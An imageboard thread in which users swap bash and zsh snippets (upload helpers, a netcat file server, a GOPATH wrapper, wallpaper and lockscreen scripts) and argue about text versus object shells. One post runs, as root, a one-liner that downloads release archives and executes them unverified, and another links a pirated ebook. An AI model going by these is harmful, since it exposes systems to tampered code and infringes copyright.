lainchan / λ
Bash Sugar
Spike Spiegel · 2017-05-12 19:19
There used to be a bash thread, now there's not.
Lets change that.
Here's a thing for expanding aliases in zsh
#-------------------------------
# ealias
#-------------------------------
typeset -a ealiases
ealiases=()
function ealias()
{
alias $1
ealiases+=(${1%%\=*})
}
function expand-ealias()
{
if [[ $LBUFFER =~ "(^|[;|&])\s*(${(j:|:)ealiases})\$" ]]; then
zle _expand_alias
zle expand-word
fi
zle magic-space
}
zle -N expand-ealias
bindkey -M viins ' ' expand-ealias
bindkey -M viins '^ ' magic-space # control-space to bypass completion
bindkey -M isearch " " magic-space # normal space during searches
#-------------------------
ealias gc='git commit . -m '
ealias gp='git push'
maps · 2017-05-13 00:19
#!/bin/sh
#script for uploading file to 0x0.st
#takes argument from command line, ie 'upload /path/to/file.ext'
#if no argument provided, prompts user for /path/to/file.ext
if [ -z $1 ]
then
read -p "file: " file
else
file=$1
fi
curl -F"file=@$file" https://0x0.st
Special Agent Bob · 2017-05-13 07:17
Sure. Here's a shell wrapper for unpacking archives to a temporary directory. I use it to read comics.
#!/bin/sh
die() { >&2 echo "${@}" && exit 1; }
clean() { rm -rf "${TMPD}"; }
TMPD="$(mktemp -d)"
test -d "${TMPD}" || die "mktemp failed"
trap 'clean' EXIT
test -e "${1}" || die "Usage: ${0} [FILE]"
case "$(dd if="${1}" count=1 bs=4 2>/dev/null)" in
PK*) unzip "${1}" -d "${TMPD}" > /dev/null || die "unzip failed" ;;
Rar\!) unrar x "${1}" "${TMPD}" > /dev/null || die "unrar failed" ;;
7z*) 7z x "${1}" "${TMPD}" > /dev/null || die "7z failed" ;;
*) die "unknown archive format" ;;
esac
find "${TMPD}" -type f | sort -n | sxiv -i
Eldon Tyrell · 2017-05-13 07:49
I once needed to transfer files from a linux machine to a windows machine with nothing more than a lan. I decided to simulate an http server using netcat and grab files using Internet Explorer. It worked pretty well.
# Simulates an http server using netcat.
# -d: display instead of downloading.
function httpserve () {
download="attachment; "
if [ "$1" = "-d" ]
then
download=""
shift
fi
for i in "$@"
do
if [ ! -f "$i" ]
then
echo "No such file: $i"
continue
fi
(echo -ne "HTTP/1.1 200 OK\r
Expires: -1\r
Server: Netcat :)\r
Content-Disposition: ${download}filename=\"$i\"\r
\r\n"; dd if="$i") | nc -l -p 8080 -q 1
done
}
Emmanuel · 2017-05-13 18:50
>>1115
I made it so you enter URL's as well.
#!/bin/bash
up() { curl -F"$1=$2" 'http://0x0.st' }
if [[ $# == 0 ]]; then
read -p "url/file: " targ
if echo "$targ" | grep -q 'http\(s\?\)://'; then
up url "$targ"
else
up file "$targ"
fi
else
for file in $@; do
up file "$file"
done
fi
Mentat · 2017-05-13 21:29
A classic.
alias please='sudo $(history -p \!\!)'
Turing · 2017-05-14 08:53
Some time ago I was working on multiple golang projects but I didn't like how every project had the same gopath so I made the following function:
function go () {
if [[ "$GOPATH" != "" ]]; then;
command go "$@";
return;
fi
local dir="$PWD"
for i in 0 1 2 3; do
if [ -d "$dir/.gopath" ]; then;
GOPATH="$dir/.gopath" command go "$@";
return;
fi
dir="$dir/../";
done
if [ ! -e "$PWD/.gopath" ]; then;
mkdir .gopath;
fi
GOPATH="$PWD/.gopath" command go "$@";
return;
}
John Titor · 2017-05-14 10:09
>>1151
>then;
>return;
$ wc -l 1151.txt
19 1151.txt
$ grep -e ';$' 1151.txt | wc -l
11 >>Syntactic sugar causes cancer of the semicolon.
maps · 2017-05-14 19:24
>>1135
I get "line 16: syntax error: unexpected end of file" attempting to run this script, but think it's super awesome that you updated the script; being able to pass urls would be useful.
based off of https://github.com/savoca/dotfiles/blob/gray/home/.bin/scripts/lock.sh, i made a personal lainthemed i3lock today. Looks like this when completed.
#!/bin/bash
scrot -z -q 25% -m /tmp/screen.png
mogrify -scale 5% -scale 500% -blur 0x2 -scale 400% -fill black -colorize 20% /tmp/screen.png
convert /tmp/screen.png -coalesce -gravity south -draw 'image over 0,0 0,0 "/home/maps/Scripts/Files/close.png"' -layers Optimize /tmp/screen.png
i3lock -u -e -i /tmp/screen.png
if cmus-remote -C status | grep 'status playing' > /dev/null
then
echo "CMUS has been paused."
exec cmus-remote -u
fi
rm /tmp/screen.png
I know soykaf all about bashscript and am just trying to make a few things in my life easier, hence the mediaplayer being cmus - easily modified for any other player of choice, or potentially other activities via pidof.
maps · 2017-05-14 19:25
>>1155
other image was caught in the upload bug.
emph · 2017-05-14 19:46
>>1155
Strange. I thought I had my script working but you're right, it definitely doesn't.
Here's it fixed up:
#!/bin/bash
up() { curl -F"$1" 'http://0x0.st'; }
if [[ $# == 0 ]]; then
read -p "url/file: " targ
if echo "$targ" | grep -q 'http\(s\?\)://'; then
up "url=$targ"
else
up "file=@$targ"
fi
else
for file in $@; do
up "file=@$file"
done
fi
Masami Eiri · 2017-08-13 06:28
sudo -s
C() { curl -L $1$(curl $1 | grep -oe $2 | head -1) | tar xvz; }; U="/usr/local/bin"
C "dist.ipfs.io/" "go\-ipfs.*x\-amd64.*.gz"; mv go-ipfs/ipfs ${U}/ipfs
D="~/.config/systemd/user"; mkdir -p ${D}
echo -e "Description=IPFS daemon\nExecStart=${U}/ipfs daemon
Restart=on-failure\nWantedBy=default.target\n" > ${D}/ipfs.service
ipfs init; ipfs daemon &
C "github.com/hydrusnetwork/hydrus/releases/" "download.*Linux.*gz"
H="${U}/hydrus"; mv hydrus\ network ${H}
for NAME in client server; do echo -e "[Desktop Entry]\nVersion=0.1
Type=Application\nTerminal=false\nExec=${H}/${NAME}\nName=Hydrus ${NAME}
Icon=${H}/static/hydrus.ico\n" > $HOME/Desktop/Hydrus_${NAME}.desktop; done
exit
Ivan Petrov · 2017-09-05 04:20
for listening to music without a browser:
in .bashrc
alias yodwa='youtube-dl -x --audio-quality=0'
alias yodw='youtube-dl'
then mplayer /tmp/audio.format
or any player
This way I can listen to music from youtube without having to deal with their publicity and targetting. Only simple audio.
Boole · 2017-09-12 19:43
Get a list of files, put it in a variable, pass to command with proper quoting:
IFS=$(printf '\0') PLAYLIST=($(find -name '*Samurai*' -print0)) ; printf "'%s'\n" "${PLAYLIST[@]}" IFS=$(printf '\0') set field separator to NUL
find -print0 separate entries with NUL
"${PLAYLIST[@]}" expand list, quoting whole elements (retain spaces, etc.)
Order of options in find is important, so is quoting of "${PLAYLIST[@]}"
>>3228
mpv can play youtube out of the box, if you have youtube-dl installed. Use --no-vid for audio-only.
cond · 2017-12-05 02:37
ncgoph() { if [[ $1 = "-b" ]] ; then
OUTNAME=`sed 's/\//-/g' <<< $3 | sed 's/-$//g'`
echo "$3\n" | netcat $2 70 | tee "$2$OUTNAME.gophout" | less
elif [[ $1 = "-o" ]] ; then
OUTNAME=`sed 's/\//-/g' <<< $3 | sed 's/-$//g'`
echo "$3\n" | netcat $2 70 | tee "$2$OUTNAME.gophout"
elif [[ $1 = "-n" ]] ; then
echo "$3\n" | netcat $2 70
elif [[ $1 = "-f" ]] ; then
OUTNAME=`sed 's/\//-/g' <<< $3 | sed 's/-$//g'`
echo "$3\n" | netcat $2 70 > $2$OUTNAME.gophout
else
echo "$2\n" | netcat $1 70 | less
fi }
Fred Nurk · 2017-12-05 07:52
>>1151
>Some time ago I was working on multiple golang projects but I didn't like how every project had the same gopath so I made the following function:
Could you explain what that code does, this might be something I can use, but cant figuire it out as there is a lot of unusual bash syntax
For anyone interested, I made a much simpler function to avoid having to put my Go bin directory in my OS path which might cause clashes between Go binary names with some names on my system:
gobin(){
~/go/bin/$1
}
and so if I want to run any installed Go binaries in my bin directory I just use:
gobin nameofgopackage
The Oracle · 2017-12-05 11:55
What's the proper POSIX way of handling arguments in shell scripts? Specifically long arguments. Right now I'm just using a case loop with shifts.
Special Agent Bob · 2017-12-05 16:48
>>1157
Still doesn't work
$upload https://www.lainchan.org/%CE%BB/res/1111.html
Warning: setting file https://www.lainchan.org/%CE%BB/res/1111.html failed!
curl: (26) read function returned funny value
Crash Override · 2017-12-07 17:36
>>5405
My script was kinda disgusting, here's an improved (untested) version with comments:
function go () {
if [[ "$GOPATH" != "" ]]; then # If the GOPATH environment variable is set
exec command go "$@" # Run the actual 'go' binary instead of calling the 'go' function recursively
fi
local dir="$PWD"
for i in 0 1 2 3; do # Repeat three times:
if [ -d "$dir/.gopath" ]; then # If a directory named '.gopath' exists in $dir
GOPATH="$dir/.gopath" exec command go "$@" # Run the actual go binary while setting the GOPATH environment variable
fi
dir="$dir/../" # Otherwise, try to find a .gopath directory in the upper directory
done
if [ ! -e "$PWD/.gopath" ]; then # We didn't find a directory named .gopath in the current directory or in any of the three upper directories
mkdir .gopath # create a .gopath dir in the current directory
GOPATH="$PWD/.gopath" exec command go "$@" # use it as $GOPATH and execute the actual go binary
fi
# Reaching this place means that there is a .gopath file that isn't a directory in the current directory and that there is no directory named ".gopath" in the upper directories
# Maybe display an error message?
}
Liet Kynes · 2017-12-07 22:52
>>5465
thanks
SHODAN · 2018-02-09 06:12
>>1138
That's nice
nibble · 2018-02-09 13:58
>1111
A function for finding files by extension:
find-type() {
local ext="$1"
shift
find "$@" -type f | grep -Eif "${HOME}/.extensions/$ext"
}
You put files in ~/.extensions with different regular expressions, for instance:
mkdir ~/.extensions
cat - > ~/.extensions/img << DOC
\.(jpe?g|png|gif)$
DOC
Then you can do:
find-type img some_directory/
find-type img
find-type video
# ...
Agent Richard Gill · 2018-02-09 20:24
I made a thing that lets you use zsh aliases with dmenu2. It's basically dmenu-run, but with aliases:
#!/bin/zsh
dmenu_params="dmenu -q -p '>' -s 0 -nb '#000000' -nf '#ffffff' -fn 'Tamzen-12'"
aliases_file=~/.zsh_aliases
#parse and sort aliases file, sort command list, prepend aliases to commands, pass to dmenu
cmd=$({cat $aliases_file | sed '/^#/ d;/^$/d;s/^alias\s//g;s/=/ /' | sort & print -rl ${(k)commands} | sort;} | eval "$dmenu_params")
if [ ! -z $cmd ]; then
#if the second word starts with " it is assumed to be an alias - remove first word and remove all "s
if [ "$(print $cmd | awk '{print $2}' | head -c 1)" = "\"" ]; then
cmd=$(print $cmd | cut -d' ' -f2- | tr -d "\"")
fi
eval "$cmd"
fi
Rick Deckard · 2018-06-05 01:02
>>1127
i did this with a mac, which is even easier cus unix
Special Agent Bob · 2018-06-05 01:43
nobody is posting their common aliases and custom prompt
this is my .bashrc for Git Bash on windows
alias ed=atom
alias clr=clear
alias irb="irb --simple-prompt"
alias dev="cd C:/Users/monke/dev"
alias julia="julia -q"
alias la="ls -a"
mkcd(){
mkdir $1;cd $1
}
cd dev
PS1='\[\033]0;$PWD\007\]\n\[\033[33m\]\w\n\[\033[35m\]► \[\033[0m\]'
vector · 2018-06-05 03:03
>>8666
>mkdir $1;cd $1
You'll want to quote those.
Rick Deckard · 2018-06-05 03:15
>>8668
thanks
sry for dumb question, but the whole thing or just the args?
Gyula Kovacs · 2018-06-05 03:32
>>8669
just args
Linda Lee · 2018-06-05 04:13
>>5409
help getopts http://wiki.bash-hackers.org/howto/getopts_tutorial
FILLER · 2018-06-05 06:36
I've being doing lots of bash scripts. After discovering Python sh, I stopped doing this.
https://github.com/amoffat/sh
The Plague · 2018-06-05 14:27
I'm transferring my other post >>8518 here, didn't realize this thread existed
I've written a Posix-sh script which works as an Apache Action (or as a Hiawatha CGIHandler) to use Windows-INI-style .url files "as hyperlinks" within a directory listing. (You can also just echo 'http://my.website' > my_website.url and it'll work too.)
#!/bin/sh
while read -r line; do
case "${line}" in
"URL="*|"http"*)
url="${line#"URL="}"
status="302 Found"
content_type="text/x-url"
break
;;
esac
done < "${PATH_TRANSLATED="${1}"}"
exec printf "Status: %s\r\n${content_type+"Content-Type: %s\\r\\n"}${url+"Location: %s\\r\\n"}\r\n"\
"${status?"500 Internal Server Error"}"\
${content_type+"${content_type}"}\
${url:+"${url}"}
exec cat "${PATH_TRANSLATED}" (Remove the first "exec" if you also might want to download the .url files; however, this causes problems on some mobile devices)
It currently works, too. Just add "AddType text/x-url url" and "Action text/x-url /cgi-bin/url.cgi" to your .htaccess (or configure CGIHandler=/var/www/cgi-bin/url.cgi:url) and you're good to go.
Current shortcomings:
If the URL-containing line is the last line, the file MUST be newline-terminated. (Probably minor since all Unix tools use newline padding heavily, and Windows adds a ton of extra data, but could still be relevant)
sh is better for this than bash/zsh due to bith canonicality and performance, but could(should) it be ported to awk or sed?
Since, ultimately, the goal is (roughly) to take (pseudo-regex)(?^.*$\n)*^(?URL=)?(http.*)$ and translate it intoStatus: 302 Found\nContent-type: text/x-url\nLocation: $0
Just another Random Lainon · 2018-06-06 14:23
>>1138
Why not just
sudo !!
Roy Batty · 2018-06-06 14:43
>>6783
I wrote this script when my server kept going down
https://0x0.st/s_1v.bin
Haruyoshi · 2018-06-06 20:10
>>8707
>https://0x0.st/s_1v.bin
>appending to /dev/null
Are you trying to avoid losing its previous, valuable content?
Unnamed · 2018-06-07 20:14
>>8707
Apart from you probably want to be using redirect instead of append (as >>8720 mentioned) -
You could use watch instead:
watch -gpn 5 ping -c1 $1 >/.cache/lastping.log
-g Exit when result of the command you're watching changes. You can monitor the exit code for further action. (It may be -e on some systems, so YMMV)
-p Precise timing
-n 5 Run command every 5 seconds
>/.cache/lastping.log Put the latest ping result in a log file, and overwrite it each time. This means you have a record of what happened the last time the command ran.
Ping also has an interval setting, -i, so the following should also be acceptable (though untested) since ping naturally exits with code 1 if a reply is not received.
while ping -i5 $1 >/.cache/lastping.log ; do : ;done
-i5 Send a packet every 5 seconds.
;do : ; Do nothing is ":"
array · 2018-07-23 09:26
>>1115
thanks for this
Torvalds · 2018-08-05 14:42
Things I know about bash ,
Globbing, pipes, redirection, bakcgrounding , if and for control structures with test., Aliases and functions.
For some reason file reads and writes feel really unintuitive what with IFS etc.
What else should I add to this?
Zuse · 2018-08-05 18:01
>>9915
Bash has a LOT of very strange quirks, making a list of things to learn in Bash wont do you any good unless you pick the right tutorial:
http://wiki.bash-hackers.org/scripting/tutoriallist
John Doe · 2018-08-06 22:35
Not entirely related to the thread but, how did you manage to learn bash? Is there a good book I can read or anything like that?
I just want to make a simple script to to update my files on github, I think it would bem something like this.
upgit() {
git add .
git commit -m "Update files"
git push origin "$1"
}
DEBUG-CONTENTS · 2018-08-06 23:50
A script i wrote a while ago for rotating my desktop background via feh. some hacky stuff, i know, but it was only meant to be for personal use.
#!/bin/sh
## configuration stuff below ##################################################
#this file should contain one line pointing to the directory of the wallpapers
config_file=/path/to/config/file
#regex for grep to only grab images
regex='\(png\|jpe\{0,1\}g\|gif\)$'
#number of seconds to wait
wait_time=10
log=wallpaper.log
log_dir=/path/to/log/dir
#these 0s are placeholders and to be honest i know this is bad practice but
#its been a while since I bash'd Present Day, Present Time! AHAHAHAHAHA!
old_picture='0'
picture='0'
while true
do
# dont do the same picture twice
while [ "$picture" == "$old_picture" ]
do
# grab the wallpaper directory
dir=`tail -n1 "$config_file"`
echo $dir
#make sure $dir is valid
ls -d $dir &>/dev/null
if [ $? -ne 0 ]
then
echo "Wallpaper directory $dir probably doesn't exist. Update your config file: $config_file" >> "$log_dir/$log"
sleep `head -n1 "$config_file"`
continue
fi
picture=`ls $dir | sort -R | grep -i "$regex" | tail -n1`
done
# set background
feh --bg-scale "$dir/$picture"
#sleep $wait_time
sleep `head -n1 "$config_file"`
echo "Attempting: $dir/$picture" >> "$log_dir/$log"
old_picture=$picture
done
example config file
10
###############################################
## the first line = number of seconds to wait ##
## the last line = directory of pictures ##
## nothing else matters Present Day, Present Time! AHAHAHAHAHA! ##
################################################
/home/lain/Pictures/Wallpapers/
Faye Valentine · 2018-08-07 02:14
>>9933
The best bash course Ive found is by Reindert-Jan Ekker on Pluralsight
https://app.pluralsight.com/library/courses/bash-shell-scripting/table-of-contents
Delilah · 2018-08-07 02:37
>>9938
You have to pay for that?
Six · 2018-08-07 02:40
>>9939
Im not really up on what the good pirating sites are for course videos. I personally have a subscription.
Donna Hawthorne · 2018-08-07 02:51
>>9938
Looking at the lesson titles, that's more like baby's first programming tutorial with a bash flavor. Unless you don't know how to program and all you want to do is shell scripting, I would think it's better to spend one hour with a book and a couple of hours writing real world scripts.
Yuki Nagato · 2018-08-07 03:13
>>9941
If youve got any book recommendations for bash scripting, Id like to know what they are because all the bash scripting books Ive come across are soykaf. The reason that course is good is because it goes into all of bash's quirks straight away so its giving you real world examples from the start. Most bash tutorials Ive seen on youtube or written tutorials on the net are exactly what you describe, baby's first programming tutorial that happens to use bash syntax and are totally useless for writing real bash scripts.
Id also like to add that learning bash scripting is really for information only to give you an understanding of how the shell works. Once you understand bash I would move on to zsh or fish instead of learning all the arcane use of awk/grep/sed to work with file data. And you should also move on to a real scripting language like Python, Ruby or Perl as bash is really soykaf for processing data.
J.C. Denton · 2018-08-07 12:21
>>9942
You're not likely to find many. Concepts in programming are transferrable from language to language very easily, so a book written for programmers will just explain the syntax and quirks, because the reader already knows what they can do with a programming language. Books written for beginners will have more general concepts introduced with more real-world examples. Most people don't learn bash as a first language, so there aren't that many of those books.
That said, the only reason bash is good at data processing is because of awk/sed/grep/tr. Look up an article called "Command-line Tools can be 235x Faster than your Hadoop Cluster". If you tried to do that in python or C++ (on 2014 hardware), it would require a lot more code, an exponentially larger amount of memory, and would probably run slowly.
Lord Nikon · 2018-08-07 23:38
>>9935
>regex='\(png\|jpe\{0,1\}g\|gif\)$'
>grep -i "$regex"
You can use -E and drop the backslashes.
https://www.gnu.org/software/grep/manual/html_node/Basic-vs-Extended.html#Basic-vs-Extended
https://www.gnu.org/software/grep/manual/html_node/grep-Programs.html#grep-Programs
You can use ? for {0,1}.
https://www.gnu.org/software/grep/manual/html_node/Fundamental-Structure.html#Fundamental-Structure
You might want to add a [.] prefix.
https://www.gnu.org/software/grep/manual/html_node/Character-Classes-and-Bracket-Expressions.html#Character-Classes-and-Bracket-Expressions
>old_picture='0'
>picture='0'
Since you are relying on them starting out equal, the second should get the value of the first, instead of repeating the literal.
>while [ "$picture" == "$old_picture" ]
While most shells will probably accept ==, the standard string comparison operator used by test is a single =, e.g.: http://man7.org/linux/man-pages/man1/dash.1.html
>echo $dir
It's safer to quote $dir throughout.
>ls -d $dir &>/dev/null
>if [ $? -ne 0 ]
The -d test will check for directories.
https://www.gnu.org/software/coreutils/manual/html_node/File-type-tests.html#File-type-tests
>sleep `head -n1 "$config_file"`
Since this is textually repeated later, getting the sleep value should go into a function. Getting the directory could also go into a function, for consistency.
>picture=`ls $dir | sort -R | grep -i "$regex" | tail -n1`
You are filtering after the sort, but there is no need for the non-matching files to take part in the sort to begin with.
>echo "Attempting: $dir/$picture" >> "$log_dir/$log"
You seem to be logging the attempt after the fact and after the sleep call. Logging a message should also go into a function, since you have two instances.
Frank Garza · 2018-08-08 12:09
https://github.com/dylanaraps/pure-bash-bible#pure-bash-bible cool linky i got off lobsters
Haruyoshi · 2018-08-08 15:49
Do you have Bash books?
I would like to read something on that topic.
if · 2018-08-08 17:38
>>9960
As Ive mentioned, I havent found any good bash books. There is another video course I want to recommend on Udemy:
https://www.udemy.com/linux-shell-scripting-projects
the author provides a preconfigured Linux image that runs on Virtualbox so that all scripts are guaranteed to run on any computer.
Hiro Protagonist · 2018-08-09 00:54
>>9960
Not to sound snarky, but read the BASH manual--like, all of it, section by section. There's no need for books on Bash as it's not really that complicated.
https://www.gnu.org/software/bash/manual/
Mitnick · 2018-08-10 11:45
>>9960
http://www.tldp.org/LDP/abs/html/abs-guide.html
+
https://0x0.st/s4wh.epub
md5:fc441873d050864aa8caf854e09b8c13
filename:bb-Wicked.Cool.Shell.Scripts.2Nd.Edition.epub
release:No.Starch.Press.-.Wicked.Cool.Shell.Scripts.2017.2nd.Edition.Retail.EPUB.eBook-BitBook
Boole · 2018-08-10 19:27
>>10007
I just want to point out that "Wicked Cool Perl Scripts" and "Wicked Cool Ruby Scripts" use the exact same scripts throughout the book so you can compare how a script is done in both languages.
Yet Another Lainon · 2018-08-11 21:53
>>9954
Thanks for the review and the tips, lain.
⍕ · 2018-09-29 20:24
A coworker how loves using bash, linux, but in real work environment we use Windows so he told me that the Microsoft PowerShell outputs is OOP rather that PIPE, so I try it to see what is about, and of course is C# and all is benefits.
Is there anything similar for bash?
what I have found yet is ipython, irb, suggestions, I know that ipython is mostly used in jupyter for data science and you must install it, would be great if came by default on linux/macOs.
the only command I use PowerShell for, is ipconfig,
but since you can run bash too, I'll give it a try.
So for example a simple DIR, to show the actual directory folders and files, is a C# object so each directory is an instance of that object, I haven't found a way to do this in ipython or bash at all.
hope I don't be mistaken as a wage slave, but since microsoft is putting alot on effort on the integration of opensource tools in windows and azure, I don't longer see any unix-like system worth learn
XERXES · 2018-09-29 22:06
>>10613
>Microsoft PowerShell outputs is OOP rather that PIPE, so I try it to see what is about, and of course is C# and all is benefits.
>Is there anything similar for bash?
Unix shells treat everything as text because that makes it easier to manipulate and pipe into various programs. You don't need to google an api reference to find out what fields and methods your object has at every stage of the fuarrrking pipeline, that's just retarded in my opinion. What "benefits" do you actually think this has?
Von Neumann · 2018-09-29 22:54
>>10613
>Microsoft PowerShell outputs is OOP rather that PIPE, so I try it to see what is about, and of course is C# and all is benefits.
>Is there anything similar for bash?
any time you use a scripting language like Python, Perl, Ruby or Javascript you are basically parsing string input from a file and putting it into an array or hashmap. When you stop and think about it, objects in Javascript are just hashmaps in that they are string-value pairs. So Javascript objects give you extra ability over regular hashmaps in that they can store functions and you can prototype them like classes.
Guthrie · 2018-09-30 06:57
>>10616
>Unix shells treat everything as text because that makes it easier to manipulate and pipe into various programs.
This is wrong. When you want to work with specific pieces of the data that is output by a program you often end up having to use grep, sed, awk and others. This is terrible. It'd be far easier to do this
./myprogram | pretty_printer
./myprogram | get_key $fieldthatIneed than this:
./myprogram
./myprogram | grep $fieldthatIneed | cut -d: -f1 On top of that, you get issues with grep when '$fieldthatIneed' appears multiple times in "./myprogram"'s output but you only need a specific item.
The unix shell is awful. I wish lisp machines had won.
St. IGNUcius · 2018-09-30 11:06
>>10619
>When you want to work with specific pieces of the data that is output by a program you often end up having to use grep, sed, awk and others.
Yes exactly.
If you want to pipe the output of A into B, you don't need to modify B in any way to be compatible with A. Instead you can mangle whatever comes out of A with sed, awk, grep etc. and then pipe it into whatever other program you want.
In your examples
> ./myprogram | pretty_printer
> ./myprogram | get_key $fieldthatIneed
pretty_printer and get_key need to understand what myprogram outputs. If you change myprogram then you also need to update pretty_printer and get_key and vice versa, It seems easier for the user at first but you're just creating a mess of dependencies. The sane solution is to create a common interface with common tools for transforming data which is exactly what the Unix shell does.
>On top of that, you get issues with grep when '$fieldthatIneed' appears multiple times in "./myprogram"'s output but you only need a specific item.
Cut and awk both let you output specific fields based on their position in the text stream. Awk also does regex matching so you probably just want to you awk instead of grep + cut for this specific problem.
>The unix shell is awful. I wish lisp machines had won.
This would be more convincing if you had any kind of elaboration or examples for how this would work on a lisp machine. Sounds more like a grass is greener fallacy born out of ignorance.
let · 2018-09-30 15:59
>>10620
>If you change myprogram then you also need to update pretty_printer and get_key and vice versa
But that's also true for textual interfaces. If your program starts outputing json instead of yaml then you'll need to change your program accordingly.
>Cut and awk both let you output specific fields based on their position in the text stream
But the position may change, depending on the files you're working with. Some patterns might be repeated when you expect them not to. Let's say you want to find all lines where a variable is assigned the value "10" in a program. You start with grep ".*=\s+10\s;" file[code]. But then you realize that this could also match [code]"name = 10;" which isn't an assignment but a string. So you go ahead and grep -ri '[^"]$PREVIOUSPATTERN[^"]' file . But then this doesn't take multiline strings into account either and the problem becomes insane. If instead you allowed yourself to pass objects to your pipes you could just have loadfile file | parser | find-node -type assignment -rvalue 10 . And this is assuming that you have to store your files as text. If you're allowed to store them as AST, you don't even need to have the parsing step.
Current shells limit you to very simple interactions with your filesystem. By using a proper programming language from the start, you allow your small scripts to grow as you need them to.
In fact, proper objects are a superset of text-only streams, because you can just stick your text in a file { filename: "hello.txt", content: "hello world!" } object and do something like loadfile hello.txt | get-field content | grep ... . You can't do the opposite with a text-only shell, because the idea of objects itself doesn't exist.
>This would be more convincing if you had any kind of elaboration or examples for how this would work on a lisp machine
The pipe is just a macro that rewrites the following:
f1 | f2 into the following
(f2 (f1)) You don't need to load files as they're already available with all their metadata as objects in memory. You want to find all your pictures that have been taken at the same time as another specific picture and then turn them grayscale?
ls picturenamespace | filter (= (exif-data picturenamespace/picture1 | get-field date) (get-field date (exif-data)))) | map grayscale this saves all serialization/deserialization steps. You don't have to store transient information like you would need to in bash. You can also have powerful type inference/checking, automatic currying and plenty of other great things that you can't really get if you're forced to cast everything to a string before and after a function is called.
I'm not sure what exactly you would like me to expand on. I invite you to take a look at http://dump.mntmn.com/interim-paper/ which presents ideas quite similar to mine.
Emmanuel · 2018-09-30 16:33
So I have this prompt.sh script that runs programs in loop:
#!/bin/bash
# Run programm in "infinity" loop while displaying prompt
# $1 - command
prompt="[$@] "
exit_command="exit"
clear_command="cl"
while [ test ]
do
printf "$prompt"
read cmd
if [ "$cmd" = "$exit_command" ]
then
exit 1
elif [ "$cmd" = "$clear_command" ]
then
clear
else
echo "$cmd" | xargs "$@"
fi
done How do I make it work with aliases in .bashrc? Like I have alias d for docker, and I would love to execute
./prompt.sh d Also how do I make it work with long inputs like:
./prompt.sh ls -l -a Thanks in advance lains!
Vasya Pupkin · 2018-09-30 17:49
>>10622
>But that's also true for textual interfaces.
No it's not. If the output changes you only need to change the sed/awk/grep stuff in the middle, you don't need to modify every other program that might possibly interact with the thing that changes.
That's the downfall of what you're proposing, if you didn't predict that someone might want to pipe output from program A into program S (or function A into function S) then the two will be incompatible and someone needs to change S to make it work.
>loadfile file | parser | find-node -type assignment -rvalue 10
This is a bad example because all the magic is in the parser command, it demonstrates nothing about text vs object interfaces. Your whole rant is about how inadequate regular expressions are for parsing formal grammars. Add `parser` before `grep` in the bash example and you get exactly the same result.
cat file | parser | grep assignment | grep 10
>ls picturenamespace | filter (= (exif-data picturenamespace/picture1 | get-field date) (get-field date (exif-data)))) | map grayscale
And what shell implementation is this?
Lady Jessica · 2018-09-30 18:59
>>10626
>you don't need to modify every other program that might possibly interact with the thing that changes
You don't need to do that with objects either, just change the get-field call that follows the program that changed.
>it demonstrates nothing about text vs object interfaces
Yes it does. Your textual representation would fail for very simple things such as x = y = 10 . It's pretty easy to see that x will be assigned 10 at the AST level but any dump will put the two assignments on different lines with x being assigned the value of y. When you abandon object representations for text you lose a lot of semantic information.
Also while simple assignments could indeed be easily represented with textual representations that is simply not true of more complex data, e.g. closures, basic blocks, SSA and so on.
>And what shell implementation is this?
An idealized one but Rash (https://github.com/willghatch/racket-rash) and Closh (https://github.com/dundalek/closh) follow similar ideas.
The Plague · 2018-09-30 19:26
>>10620
<not who youre quoting>
>In your examples
> ./myprogram | pretty_printer
> ./myprogram | get_key $fieldthatIneed
>pretty_printer and get_key need to understand what myprogram outputs. If you change myprogram then you also need to update pretty_printer and get_key and vice versa, It seems easier for the user at first but you're just creating a mess of dependencies.
Thats not true for a couple of reasons. First of all ./myprogram might output its data in array or hashmap form which means
>./myprogram | get_key $fieldthatIneed
would automatically work.
Even if it was an object, as Ive said before, an object works like a hashmap so you could automatically access with a more OO looking
>./myprogram.pretty_printer.get_key($fieldthatIneed)
This is assuming pretty_printer breaks up file data by line or spaces and puts it into a standard container type.
My experience is with Javascript and Ruby and in Javascript you have to parse string data all the time with regexps and put it into arrays and objects. So I dont see why you are making such a big deal about OO interfaces as either way you have to parse string data.
it is authomated retard · 2018-10-01 01:08
ohh you don't have to google any api, you just tap ctrl + space, and it will show you the methods that the object has
>>10618
I don't see your point, I'm talking about bash, is there a way to use javascript in bash scripting?
notebook · 2018-10-01 01:18
>>10628
>OO like a hashmap
that's your approach while programming, where did your learn it, and teach me more about it, may help me to change I see things seems really instersting
notebook · 2018-10-01 01:22
>>10619
>>10616
>>10618
now that both are into this PIPE output vs OOP output, which one, do you thing is more expensive for the computer resources?
Joe Bloggs · 2018-10-01 02:09
>>10630
>I don't see your point, I'm talking about bash, is there a way to use javascript in bash scripting?
The point is that bash should have been made obsolete for scripting a long time ago, anyone who uses bash for anything more than one liners is an idiot.
Netrunner · 2018-10-01 02:19
>>10631
Its always surprised me that Javascript has never taken off as a standalone scripting language and is only used only for the web as its object model would be the best for general purpose scripting. Its no surprise that JSON has turned out to replace XML for translating hierarchical data.
roll · 2018-10-01 03:01
>>10632
>PIPE output vs OOP output, which one, do you thing is more expensive for the computer resources
Really depends on how the whole system is implemented and what you mean by computer resources. OOP pipes save a lot of CPU power (no need to parse and serialize your data anymore) but if you go with a full everything-is-an-object-already-loaded-in-memory design presented in >>10622 then you'd end up with large memory use.
I think computers are fast enough nowadays that this shouldn't be something to take into account when designing a new system. Of course this will become a problem once you try to get a normal web browser display a website full of JS but I think we can all agree that these are terrible and that in a perfect world these wouldn't exist.
nibble · 2018-10-01 17:32
>>10627
>Yes it does. Your textual representation would fail for very simple things such as x = y = 10.
You still have a double standards problem with your example. If `parser` ican output unambiguous objects why can't it output unambiguous text? Surly x = y = 10 is 2 different assignments when you get to the AST level.
>You don't need to do that with objects either, just change the get-field call that follows the program that changed.
Think about it another way. What if you author of `parser` didn't expect anyone to want the field you want and doesn't include it in the object? Now you have to modify and recompile parser to include that field.
>An idealized one
That's disappointing. So you're arguing for something that doesn't even exist?
⍕ · 2018-10-01 18:24
>>10619
>It'd be far easier to do this
>./myprogram | get_key $fieldthatIneed
>than this:
>./myprogram | grep $fieldthatIneed | cut -d: -f1
All you're arguing for is a more structured text output.
If every program on your system would serialize and deserialize its internal objects to and from the same consistent text format then yes that would be better for piping data between programs. But they don't.
Since you can't force everyone to adopt json output (or whatever), then using tools like grep/cut etc. is the only real option.
Tank · 2018-10-01 22:56
>>10624
https://stackoverflow.com/questions/979453/how-can-i-use-aliased-commands-with-xargs
